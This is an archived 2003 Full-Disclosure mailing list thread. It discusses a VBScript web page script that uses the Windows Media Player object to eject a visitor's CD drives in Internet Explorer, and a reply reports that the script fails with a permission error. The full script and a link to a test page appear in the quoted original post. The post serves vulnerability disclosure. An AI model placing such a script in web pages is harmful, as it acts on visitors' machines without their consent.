full-disclosure - Ejecting CDs with VBScript ( Online Exploit )

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: Brent.Colflesh at ulticom.com (Brent Colflesh)
Subject: Ejecting CDs with VBScript ( Online Exploit )

I get Permission Denied scripting error:

Win 98, IE 6 SP1 all patches, Wmplayer 9.00.00.2980

Regards,
Brent

-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Lorenzo
Hernandez Garcia-Hierro
Sent: Friday, October 10, 2003 5:13 PM
To: full-disclosure@...ts.netsys.com
Cc: bugtraq@...urityfocus.com
Subject: [Full-Disclosure] Ejecting CDs with VBScript ( Online Exploit )


Hi friends,
I'm not very happy with this , i have done an online test for eject cds in a
MS Internet Explorer
and i have tested it in all the computers of my house but i was surprised
when i checked that the
last version of MSIE allows the execution of the script in the following
sec. zones:
            . LOCAL/INTRANET
            . REMOTE/INTERNET
I tested it in default values and the exploit is executed , i edited the
values and again it was
executed.
Am i discovering a new vulnerability in MS Internet Explorer ?
I'm not sure because there are lots of known holes in MSIE.
Suggestions and help is completely welcome.
The best regards,
PS: This is the code of the exploit:
-----------------
<SCRIPT LANGUAGE=VBSCRIPT>
rem --------------------------------------
rem No Secure Root Group Security Research
rem    Coder: Trulux / Lorenzo Hdez G-H
rem --------------------------------------
rem    http://www.nsrg-security.com
rem --------------------------------------
rem -> CREATE WINDOWS MEDIA PLAYER OBJECT
rem -
Set LARRYINTHEWILD = CreateObject("WMPlayer.OCX.7" )
rem -
rem -> SETTING SOME VARIABLES FOR EJECT CD UNITS
rem -
Set RIAAsaysBLAH = LARRYINTHEWILD.cdromCollection
rem -
rem -> EJECTING ROUTINE
rem -
if RIAAsaysBLAH.Count >= 1 then
For i = 0 to RIAAsaysBLAH.Count - 1
RIAAsaysBLAH.Item(i).Eject
Next ' cdrom
End If
rem -> END
</SCRIPT>
--------------

NOTE: i don't know if this is a known security hole  , if this was
discovered before , i'm sorry ( and a little sad :-(  ).
you can test it online:
http://test-zone.nsrg-security.com/browser/msie/cdrom


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html